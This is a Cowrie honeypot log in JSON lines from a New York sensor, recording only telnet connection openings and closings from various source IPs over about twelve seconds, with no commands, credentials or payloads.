{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":47420,"dst_ip":"159.203.135.109","dst_port":23,"session":"613be69b52e0","protocol":"telnet","message":"New connection: 173.249.44.46:47420 (159.203.135.109:23) [session: 613be69b52e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:22.374428Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":55242,"dst_ip":"159.203.135.109","dst_port":23,"session":"71ea75452e2e","protocol":"telnet","message":"New connection: 85.208.100.77:55242 (159.203.135.109:23) [session: 71ea75452e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:22.420185Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":47534,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4d6acd8d88e","protocol":"telnet","message":"New connection: 173.249.44.46:47534 (159.203.135.109:23) [session: a4d6acd8d88e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:22.433583Z"}
{"eventid":"cowrie.session.closed","duration":30.725878715515137,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:22.462470Z","src_ip":"168.119.91.149","session":"2d04e1cd2f30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":48354,"dst_ip":"159.203.135.109","dst_port":23,"session":"295c42d283fa","protocol":"telnet","message":"New connection: 173.249.44.46:48354 (159.203.135.109:23) [session: 295c42d283fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:23.072338Z"}
{"eventid":"cowrie.session.closed","duration":30.946892976760864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:23.077656Z","src_ip":"173.249.44.46","session":"3293ccc3aace","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":35122,"dst_ip":"159.203.135.109","dst_port":23,"session":"acce2056890b","protocol":"telnet","message":"New connection: 81.30.157.18:35122 (159.203.135.109:23) [session: acce2056890b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:23.180211Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":35128,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ba534a3430b","protocol":"telnet","message":"New connection: 81.30.157.18:35128 (159.203.135.109:23) [session: 8ba534a3430b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:23.333868Z"}
{"eventid":"cowrie.session.closed","duration":30.444658279418945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:24.188173Z","src_ip":"85.208.100.77","session":"401b117fd760","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.759738445281982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:24.218476Z","src_ip":"173.249.44.46","session":"ef10032e9f2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91261339187622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:24.222732Z","src_ip":"46.101.32.143","session":"77634830d3ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":37470,"dst_ip":"159.203.135.109","dst_port":23,"session":"765c9efe2bdc","protocol":"telnet","message":"New connection: 82.163.78.83:37470 (159.203.135.109:23) [session: 765c9efe2bdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:24.243381Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":58986,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c07b1c2329c","protocol":"telnet","message":"New connection: 85.208.100.77:58986 (159.203.135.109:23) [session: 4c07b1c2329c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:24.358335Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":58774,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c8a62130e9a","protocol":"telnet","message":"New connection: 81.30.157.18:58774 (159.203.135.109:23) [session: 8c8a62130e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:24.377722Z"}
{"eventid":"cowrie.session.closed","duration":31.01737380027771,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:24.391474Z","src_ip":"173.249.44.46","session":"f508d0b7c132","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.296441078186035,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:24.431116Z","src_ip":"173.249.44.46","session":"2ef31097bcfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":50190,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f1ae9d7c69d","protocol":"telnet","message":"New connection: 173.249.44.46:50190 (159.203.135.109:23) [session: 7f1ae9d7c69d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:24.499233Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":50404,"dst_ip":"159.203.135.109","dst_port":23,"session":"65008dbc3873","protocol":"telnet","message":"New connection: 173.249.44.46:50404 (159.203.135.109:23) [session: 65008dbc3873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:24.597909Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":51178,"dst_ip":"159.203.135.109","dst_port":23,"session":"04dcdd3d9839","protocol":"telnet","message":"New connection: 173.249.44.46:51178 (159.203.135.109:23) [session: 04dcdd3d9839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:24.994317Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":38706,"dst_ip":"159.203.135.109","dst_port":23,"session":"47ae4da13308","protocol":"telnet","message":"New connection: 82.163.78.83:38706 (159.203.135.109:23) [session: 47ae4da13308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:25.340334Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.145.22","src_port":56998,"dst_ip":"159.203.135.109","dst_port":23,"session":"b08fedd973f8","protocol":"telnet","message":"New connection: 5.189.145.22:56998 (159.203.135.109:23) [session: b08fedd973f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:25.532701Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":52238,"dst_ip":"159.203.135.109","dst_port":23,"session":"c66a5ae247f2","protocol":"telnet","message":"New connection: 173.249.44.46:52238 (159.203.135.109:23) [session: c66a5ae247f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:25.741263Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":58776,"dst_ip":"159.203.135.109","dst_port":23,"session":"24f9b1fe63a8","protocol":"telnet","message":"New connection: 81.30.157.18:58776 (159.203.135.109:23) [session: 24f9b1fe63a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:25.746955Z"}
{"eventid":"cowrie.session.closed","duration":30.780564069747925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:26.164866Z","src_ip":"173.249.44.46","session":"b8319d034f6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95014524459839,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:26.168106Z","src_ip":"173.249.44.46","session":"c98e90ef1d43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7981858253479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:26.186914Z","src_ip":"85.208.100.77","session":"aa53e368b19c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":40818,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcc848c9a844","protocol":"telnet","message":"New connection: 149.102.133.101:40818 (159.203.135.109:23) [session: bcc848c9a844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:26.235935Z"}
{"eventid":"cowrie.session.closed","duration":30.992631673812866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:26.333896Z","src_ip":"209.126.84.114","session":"cee96e1529a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":58790,"dst_ip":"159.203.135.109","dst_port":23,"session":"025f3c394ed4","protocol":"telnet","message":"New connection: 81.30.157.18:58790 (159.203.135.109:23) [session: 025f3c394ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:26.339193Z"}
{"eventid":"cowrie.session.closed","duration":30.799742221832275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:27.064445Z","src_ip":"82.163.78.83","session":"401f29d48f7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.014408588409424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:27.069649Z","src_ip":"173.249.44.46","session":"b12574725ba2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":49662,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5a595019a31","protocol":"telnet","message":"New connection: 46.101.32.143:49662 (159.203.135.109:23) [session: b5a595019a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:27.105196Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":55130,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8de959d8b76","protocol":"telnet","message":"New connection: 173.249.44.46:55130 (159.203.135.109:23) [session: e8de959d8b76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:27.633722Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":41844,"dst_ip":"159.203.135.109","dst_port":23,"session":"230c36dc32ca","protocol":"telnet","message":"New connection: 82.163.78.83:41844 (159.203.135.109:23) [session: 230c36dc32ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:28.042368Z"}
{"eventid":"cowrie.session.closed","duration":30.41590714454651,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:28.050131Z","src_ip":"173.249.44.46","session":"9c4f56b6ddab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77617049217224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:28.062526Z","src_ip":"173.249.44.46","session":"bf16492531f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.611329317092896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:28.168496Z","src_ip":"37.187.24.227","session":"a2217786f6a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":38610,"dst_ip":"159.203.135.109","dst_port":23,"session":"98ddd1ab3ed2","protocol":"telnet","message":"New connection: 85.208.100.77:38610 (159.203.135.109:23) [session: 98ddd1ab3ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:28.408363Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":56346,"dst_ip":"159.203.135.109","dst_port":23,"session":"8be4efddd15d","protocol":"telnet","message":"New connection: 173.249.44.46:56346 (159.203.135.109:23) [session: 8be4efddd15d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:28.434928Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":42864,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ae768a7a414","protocol":"telnet","message":"New connection: 82.163.78.83:42864 (159.203.135.109:23) [session: 9ae768a7a414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:29.001652Z"}
{"eventid":"cowrie.session.closed","duration":30.41833734512329,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:29.054560Z","src_ip":"149.102.133.101","session":"277a4af44722","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.552319765090942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:29.121082Z","src_ip":"206.189.139.22","session":"0e9e89a98750","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89173674583435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:29.158899Z","src_ip":"81.30.157.18","session":"387bf45f4add","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.247748374938965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:29.396494Z","src_ip":"81.30.157.18","session":"e6061738508d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":40834,"dst_ip":"159.203.135.109","dst_port":23,"session":"53b8af6d70b5","protocol":"telnet","message":"New connection: 149.102.133.101:40834 (159.203.135.109:23) [session: 53b8af6d70b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:29.601735Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":42478,"dst_ip":"159.203.135.109","dst_port":23,"session":"f626a9d11c6b","protocol":"telnet","message":"New connection: 82.163.78.83:42478 (159.203.135.109:23) [session: f626a9d11c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:29.632943Z"}
{"eventid":"cowrie.session.closed","duration":31.08630895614624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:29.725633Z","src_ip":"147.135.136.77","session":"ad25475d9a15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":41254,"dst_ip":"159.203.135.109","dst_port":23,"session":"9575d0455178","protocol":"telnet","message":"New connection: 85.208.100.77:41254 (159.203.135.109:23) [session: 9575d0455178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:29.779035Z"}
{"eventid":"cowrie.session.closed","duration":30.748449087142944,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:30.037021Z","src_ip":"46.101.32.143","session":"26dd51bd34f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.098862886428833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:30.044958Z","src_ip":"37.187.24.227","session":"1e0cb1659a43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61729907989502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:30.051216Z","src_ip":"82.163.78.83","session":"cf4d8c277072","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.199328899383545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:30.092307Z","src_ip":"81.30.157.18","session":"fc9ad1db4580","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2807195186615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:30.217190Z","src_ip":"85.208.100.77","session":"0f29ff96b66e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":44394,"dst_ip":"159.203.135.109","dst_port":23,"session":"f65d0a589b68","protocol":"telnet","message":"New connection: 82.163.78.83:44394 (159.203.135.109:23) [session: f65d0a589b68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:30.237010Z"}
{"eventid":"cowrie.session.closed","duration":30.88744020462036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:30.245826Z","src_ip":"81.30.157.18","session":"f1d97dbd170d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":58802,"dst_ip":"159.203.135.109","dst_port":23,"session":"03d86f0b9880","protocol":"telnet","message":"New connection: 81.30.157.18:58802 (159.203.135.109:23) [session: 03d86f0b9880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:30.813642Z"}
{"eventid":"cowrie.session.closed","duration":30.67891502380371,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:31.055613Z","src_ip":"81.30.157.18","session":"d71466cda171","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47545886039734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:31.073677Z","src_ip":"81.30.157.18","session":"042ff6009c22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.492417335510254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:31.113129Z","src_ip":"206.189.139.22","session":"1f6d8a989d7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":45764,"dst_ip":"159.203.135.109","dst_port":23,"session":"b66d39be37ab","protocol":"telnet","message":"New connection: 82.163.78.83:45764 (159.203.135.109:23) [session: b66d39be37ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:31.386429Z"}
{"eventid":"cowrie.session.closed","duration":31.12973117828369,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:31.548606Z","src_ip":"173.249.44.46","session":"fda42254ecd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":46274,"dst_ip":"159.203.135.109","dst_port":23,"session":"593e5d7bac88","protocol":"telnet","message":"New connection: 82.163.78.83:46274 (159.203.135.109:23) [session: 593e5d7bac88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:31.795424Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":40836,"dst_ip":"159.203.135.109","dst_port":23,"session":"97cf4350ce68","protocol":"telnet","message":"New connection: 149.102.133.101:40836 (159.203.135.109:23) [session: 97cf4350ce68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:31.978472Z"}
{"eventid":"cowrie.session.closed","duration":36.92519950866699,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:32.071721Z","src_ip":"69.65.3.189","session":"22e5266a7415","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.425638437271118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:32.078035Z","src_ip":"149.102.133.101","session":"f9ad8d695c28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.859102249145508,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:32.140033Z","src_ip":"116.118.250.81","session":"dad4907dac2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":54848,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3dc9e599515","protocol":"telnet","message":"New connection: 46.101.32.143:54848 (159.203.135.109:23) [session: d3dc9e599515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:32.196861Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":47240,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2fa46f6d2a4","protocol":"telnet","message":"New connection: 82.163.78.83:47240 (159.203.135.109:23) [session: e2fa46f6d2a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:32.481981Z"}
{"eventid":"cowrie.session.closed","duration":31.663792610168457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:32.822010Z","src_ip":"147.135.136.77","session":"fcc6549bd282","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.758548259735107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:33.087706Z","src_ip":"81.30.157.18","session":"88b86c0c4bc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91919231414795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:33.127518Z","src_ip":"82.163.78.83","session":"b0572cf05b53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.878796339035034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:33.143515Z","src_ip":"46.101.32.143","session":"1589886ec6c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":48006,"dst_ip":"159.203.135.109","dst_port":23,"session":"9983d90789ac","protocol":"telnet","message":"New connection: 82.163.78.83:48006 (159.203.135.109:23) [session: 9983d90789ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:33.185496Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.171.93.41","src_port":58566,"dst_ip":"159.203.135.109","dst_port":23,"session":"04f252bf48f8","protocol":"telnet","message":"New connection: 190.171.93.41:58566 (159.203.135.109:23) [session: 04f252bf48f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:33.225884Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.118.250.81","src_port":36584,"dst_ip":"159.203.135.109","dst_port":23,"session":"46febe7b24ce","protocol":"telnet","message":"New connection: 116.118.250.81:36584 (159.203.135.109:23) [session: 46febe7b24ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:33.303813Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":40840,"dst_ip":"159.203.135.109","dst_port":23,"session":"e31fbde48558","protocol":"telnet","message":"New connection: 149.102.133.101:40840 (159.203.135.109:23) [session: e31fbde48558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:33.360370Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":49276,"dst_ip":"159.203.135.109","dst_port":23,"session":"76e9fb8b952e","protocol":"telnet","message":"New connection: 85.208.100.77:49276 (159.203.135.109:23) [session: 76e9fb8b952e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:33.465016Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":40846,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9b23ca61040","protocol":"telnet","message":"New connection: 149.102.133.101:40846 (159.203.135.109:23) [session: a9b23ca61040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:33.493005Z"}
{"eventid":"cowrie.session.closed","duration":30.452151775360107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:33.576836Z","src_ip":"168.119.91.149","session":"a303ae2b08bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":40848,"dst_ip":"159.203.135.109","dst_port":23,"session":"0260271e3a4e","protocol":"telnet","message":"New connection: 149.102.133.101:40848 (159.203.135.109:23) [session: 0260271e3a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:33.692550Z"}
{"eventid":"cowrie.session.closed","duration":31.08325982093811,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:33.880993Z","src_ip":"85.208.100.77","session":"bb3274adb8fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82151961326599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:34.131385Z","src_ip":"37.187.24.227","session":"0d91f4d0128c","protocol":"telnet"}
